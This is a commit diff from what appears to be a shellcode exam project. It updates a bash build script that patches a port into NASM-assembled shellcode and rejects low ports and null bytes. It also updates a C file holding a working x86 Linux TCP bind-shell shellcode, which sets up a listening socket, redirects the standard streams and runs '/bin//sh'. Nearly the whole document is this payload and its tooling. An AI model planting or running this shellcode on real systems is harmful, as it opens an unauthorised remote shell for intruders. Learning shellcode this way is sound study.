Minor updates

exam1/compile_all.sh

@@ -35,9 +35,11 @@ fi
 
 if [ -z "$ARG2" ]; then
   echo " [I] Default port will be used."
-elif ! [[ $ARG2 -ge 1 && $ARG2 -le 65535 ]]; then
-  echo " [E] The port must be in range 1..65535 !"
+elif ! [[ $ARG2 -ge 1024 && $ARG2 -le 65535 ]]; then
+  echo " [E] The port must be in range 1024..65535 !"
   exit 1;
+else
+  echo " [I] Using custom port: "$ARG2
 fi
 
 echo " [+] Assembling "$1".nasm with NASM ..."
@@ -54,6 +56,11 @@ else
   FULL_SHELLCODE=$(echo -n $SHELLCODE | sed 's/.........$//' ; echo $PORT_HEX"\"")
 fi
 
+if [[ $FULL_SHELLCODE == *00* ]]; then
+  echo " [E] Your shellcode contains 00 (NULL) ! Most likely you need to change your port."
+  exit 1
+fi
+
 echo -ne " [+] Shellcode size is "$(echo -ne $FULL_SHELLCODE|sed 's/\"//g'|wc -c)" bytes\n"
 echo $FULL_SHELLCODE
 

exam1/shellcode.c

@@ -1,7 +1,7 @@
 #include <stdio.h>
 #include <string.h>
 
-unsigned char code[] = "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x6d\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\x8e\xff\xff\xff\xff\xff";
+unsigned char code[] = "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x6d\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\x8e\xff\xff\xff\xaa\xff";
 
 main()
 {